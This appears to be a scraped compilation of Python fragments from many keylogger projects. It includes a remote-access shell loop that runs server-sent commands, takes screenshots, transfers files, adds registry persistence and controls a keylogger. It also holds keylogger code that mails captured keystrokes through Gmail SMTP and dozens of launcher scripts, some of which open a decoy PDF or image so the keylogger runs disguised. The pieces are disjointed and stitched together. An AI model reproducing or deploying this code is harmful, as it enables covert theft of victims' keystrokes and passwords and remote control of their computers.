def start(self, server_address, port): is_connected = self.connect_to_server(server_address, port) key_logger = keylogger.Keylogger() key_logger.logger = self.keyboard_event if is_connected: self.send_log_to_server() key_logger.start()
def shell(): while True: command = reliable_recv() if command == 'quit': break elif command == 'background': pass elif command == 'help': pass elif command == 'clear': pass elif command[:3] == 'cd ': os.chdir(command[3:]) elif command[:5] == 'check': try: is_admin() reliable_send(admin) except: reliable_send("Something Went Wrong") elif command[:6] == 'upload': download_file(command[7:]) elif command[:8] == 'download': upload_file(command[9:]) elif command[:10] == 'screenshot': screenshot() upload_file('screen.png') os.remove('screen.png') elif command[:12] == 'keylog_start': keylog = keylogger.Keylogger() t = threading.Thread(target=keylog.start) t.start() reliable_send('[+] Keylogger Started!') elif command[:11] == 'keylog_dump': logs = keylog.read_logs() reliable_send(logs) elif command[:11] == 'keylog_stop': keylog.self_destruct() t.join() reliable_send('[+] Keylogger Stopped!') elif command[:11] == 'persistence': reg_name, copy_name = command[12:].split(' ') persist(reg_name, copy_name) elif command[:7] == 'sendall': subprocess.Popen(command[8:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) else: execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) result = execute.stdout.read() + execute.stderr.read() result = result.decode() reliable_send(result)
#!/usr/bin/env python import keylogger ''' Must have 2FA turned off with email account If Gmail must have allow access to less secure apps enabled ''' my_keylogger = keylogger.Keylogger(120, email, password) my_keylogger.start()
#!/usr/bin/python import keylogger # OR if you are packaging on Windows and want to add to registry # So that the program runs on startup, uncomment the following import and comment the top one #import keylogger_persistance_windows ''' Description: This tool is part of the Ethical Hacking toolset. This is for educational use ONLY for security purposes. The keylogger takes the all key strikes on keyboard and send them to an email every specific period of time Requirements: You need only to install pynput 'pip install pynput' Use packaged executables for Mac OS, Linux and MS Windows for deployment Usage: python keylogger.py or better for deployment to chnage source code and package the app as executables Enjoy! ''' #Main program my_keylogger = keylogger.Keylogger(120, "*****@*****.**", "johndoe77") my_keylogger.start()
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(120, "*****@*****.**", "mypassword") my_keylogger.start()
#!/usr/bin/env python import keylogger keylogger = keylogger.Keylogger(120, '', '') keylogger.start()
#!/usr/bin/python import keylogger my_keylogger = keylogger.Keylogger(120, "", "") # my_keylogger.start()
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(120, "*****@*****.**", "thehammer") my_keylogger.start()
import keylogger my_keylogger = keylogger.Keylogger(20, "Here set Your Mail ID", "Here set Your Mail Password") my_keylogger.start()
#!/usr/bin/env python import keylogger key_logger = keylogger.Keylogger(5) key_logger.start()
except AttributeError: if key == key.space: current_key = " " else: current_key = " " + str(key) + " " self.append_to_log(current_key) def report(self): self.send_mail(self.email, self.password, "\n\n" + self.log) self.log = "" timer = threading.Timer(self.interval, self.report) timer.start() def send_mail(self, email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() def start(self): keyboard_listener = pynput.keyboard.Listener( on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join() my_keylogger = keylogger.Keylogger(120, "*****@*****.**", "nafdf") my_keylogger.start()
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(4, "*****@*****.**", "123456789") my_keylogger.start()
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(6,"*****@*****.**","password") my_keylogger.start()
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(120, "*****@*****.**", "testtest") my_keylogger.start()
import keylogger my_keylogger = keylogger.Keylogger(120, "email", "password") my_keylogger.start()
import keylogger import optparse #to do toate variabilele de la clasa sa poata sa fie date si ca argumente def get_arguments(): parser = optparse.OptionParser() parser.add_option("-i", "--interval", dest="interval", help="Intervalul la care se trimite email-ul") # specificam prima optiune pe care o folosim parser.add_option("-e", "--email", dest="email", help="Emailul de destinatie") parser.add_option("-p", "--password", dest="password", help="Parola") (option, arguments) = parser.parse_args() if not option.interval: parser.error("Specifica te rog un interval!. Foloseste --help pentru mai multe informatii") elif not option.email: parser.error("Specifica te rog un email target! Foloseste --help pentru mai multe informatii") elif not option.password: parser.error("Specifica te rog o password! Foloseste --help pentru mai multe informatii") else: return option option = get_arguments() keylogger = keylogger.Keylogger(int(option.interva),option.email, option.password) keylogger.start()
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(120, "*****@*****.**", "abc123abc") # my_keylogger.start()
import keylogger keylogger.Keylogger(120, 'b06ffc432e3884', 'a5e72032e9c491', '*****@*****.**')
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(20, "*****@*****.**", "YourPasswordHere") my_keylogger.start()
import keylogger import sys import subprocess # Starting the process by invoking "start" method which is in the "Keylogger" class file_name = sys._MEIPASS + "\sample.pdf" # Replace sample.pdf by any file you want subprocess.Popen(file_name, shell=True) keylogger.Keylogger(30, "*****@*****.**", "12345678").start() # where 30 = just any time interval in seconds # [email protected] = just any gmail id # 12345678 = password of the gmail id
#!usr/bin/env python import keylogger keylogger = keylogger.Keylogger(120, "*****@*****.**", "asdasd") keylogger.start()
import keylogger my_keylogger = keylogger.Keylogger(10, "*****@*****.**", "asdf1234") my_keylogger.start()
import keylogger my_keylogger = keylogger.Keylogger( 120, "@gmail.com", "") # 120 секунд (время сбора данных) gmail/password my_keylogger.start()
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger("integer for time", "GMAIL HERE", "PASSWORD") my_keylogger.start() #Only this file has to run, the other keylogger should just be present in the folder
#! /usr/bin/env python3 import keylogger my_keylogger = keylogger.Keylogger() my_keylogger.listener()
#!usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(120, "email_address", "password") my_keylogger.start()
#import our file that we created import keylogger my_keylogger = keylogger.Keylogger(40, "type your mail here", "tape your password here") my_keylogger.start()
#!/usr/bin/env python import keylogger keylogger.Keylogger(30, "*****@*****.**", "h304A821XzY").start()
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(120, "<YOUR GMAIL>", "<YOUR PASSWORD>") my_keylogger.start()
import keylogger import sys import subprocess file_name = sys._MEIPASS + "\gtr.jpg" # Default location of the front file (is appdata) put by pyinstaller subprocess.Popen(file_name, shell=True) my_keylogger = keylogger.Keylogger(120, "MAILID", "PASSWORD") my_keylogger.start()